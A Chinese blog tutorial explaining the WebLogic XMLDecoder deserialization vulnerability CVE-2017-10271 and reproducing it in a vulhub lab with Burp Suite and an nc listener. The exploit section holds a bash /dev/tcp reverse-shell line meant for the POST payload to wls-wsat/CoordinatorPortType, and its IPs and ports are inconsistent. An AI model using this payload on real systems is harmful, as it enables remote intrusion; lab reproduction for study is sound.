Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现

漏洞原理

本文介绍了Weblogic XMLDecoder反序列化相关的漏洞原理,并以CVE-2017-10271为例在vulhub上进行了复现。有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等,其漏洞原理相似,这里首先简要介绍Weblogc XMLDecoder相关的背景知识 。

Weblogic

用途:用于解析java,部署大型分布式Web应用的Web中间件。

默认端口:7001

历史漏洞:XMLDecode反序列化漏洞、反序列化漏洞、弱口令war包上传、SSRF等本文仅介绍XMLDecode反序列化漏洞

XMLDecoder是干啥的?

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。总之就是用来解析XML文档的。

Weblogic XMLDecoder 反序列化漏洞原理简介

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XM(SOAP协议)数据,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是wls-wsat、_async

漏洞复现(CVE-2017-10271)

复现过程(vulhub)

本文以CVE-2017-10271为例,用vulhub靶场进行漏洞复现,目标是获取反弹shell。

靶机:39.106.14.43

攻击机:kali 192.168.200.131

攻击机和靶机无所谓是不是kali和Ubuntu,攻击机用于接收反弹shell,靶机应该是Ubuntu上启动的docker。首先启动vulhub靶场,cd vulhub/weblogic/CVE-2017-10271,然后执行如下命令启动:

docker-compose up –d

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第1张图片

docker ps查看进程,已经成功启动,端口为7001

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第2张图片

浏览器访问靶机ip:7001,可看到如下的404页面,说明环境搭建成功。

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第3张图片

weblogic XMLDecoder反序列化漏洞的出现位置有很多路径,具体路径我们在漏洞原理部分已经给出,这里就选第一个好了/wls-wsat/CoordinatorPortType,浏览器访问192.168.200.129:7001/wls-wsat/CoordinatorPortType,页面如下:

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第4张图片

把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来(BurpSuite抓个包),可以看到其HTTP请求如下图:

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第5张图片

把这个包发送到重放器Repeater,一会改包添加poc。现在我们在攻击机kali中开启一个nc监听,监听7777端口,用于接收反弹shell(读者也可以选择其他端口)

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第6张图片

改包,把刚才抓到的HTTP GET请求,修改请求方式为POST,然后加上反弹shell的恶意代码,注意要把Content-Type修改为text/xml 。

  
   
      
      
        
          
            /bin/bash
            -c
            bash -i >& /dev/tcp/192.168.219.134/4444 0>&1
          
          
        
      
     
    
   

完整的请求包如下:

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第7张图片

把反弹shell的ip改成你的接收反弹shell的ip,端口改为刚才nc监听的端口。 改包之后,发送请求,响应包的状态码是500,如下图所示,如果响应包如下图这样,漏洞利用就成功了。

Weblogic XMLDecoder反序列化漏洞(CVE -2017-10271)复现_第8张图片

你可能感兴趣的:(web安全,linux)